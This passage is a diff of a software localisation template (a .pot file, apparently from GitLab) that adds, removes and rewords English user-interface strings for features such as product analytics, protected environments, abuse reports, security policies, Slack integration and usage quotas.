+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -31867,6 +32432,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32086,6 +32663,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32161,9 +32741,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32335,9 +32912,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32488,10 +33062,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32623,6 +33197,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33247,6 +33824,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33259,6 +33854,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33295,6 +33893,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34023,6 +34624,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34290,9 +34894,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34350,9 +34951,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34389,6 +34987,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35321,7 +35946,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35692,7 +36317,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -35899,6 +36524,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -35923,9 +36554,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -35941,6 +36569,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -35950,12 +36581,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36148,9 +36803,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36507,6 +37159,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36528,6 +37189,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -36807,7 +37471,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -36870,10 +37534,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -36888,6 +37552,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -36957,9 +37624,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37179,9 +37843,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37209,6 +37870,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37239,9 +37903,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37260,9 +37921,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38041,6 +38699,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38255,9 +38916,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38384,9 +39042,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38417,6 +39072,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38444,10 +39105,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38459,22 +39120,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
-msgstr ""
-
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -38972,6 +39627,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39167,15 +39828,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39665,18 +40326,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -39893,6 +40572,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -39911,7 +40593,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -39932,9 +40614,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40422,15 +41101,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40461,6 +41131,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40723,9 +41408,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -40977,6 +41659,9 @@ msgid "The following personal access token: %{token_names} was revoked, because
msgid_plural "The following personal access tokens: %{token_names} were revoked, because a new policy to expire personal access tokens were set."
msgstr[0] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41125,6 +41810,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41329,6 +42017,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41677,6 +42368,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -41779,21 +42473,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42016,6 +42716,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42091,9 +42794,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42298,7 +42998,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42738,6 +43438,10 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -42954,7 +43658,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43251,24 +43955,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43372,15 +44064,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43552,6 +44241,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43594,6 +44286,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -43774,6 +44469,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -43813,6 +44511,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -43882,6 +44583,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44044,15 +44748,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44083,15 +44781,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44149,24 +44841,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44194,9 +44874,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44215,15 +44892,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44380,6 +45051,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44435,6 +45109,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44609,9 +45289,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44678,10 +45355,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -44849,10 +45526,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45044,6 +45718,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45056,9 +45733,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
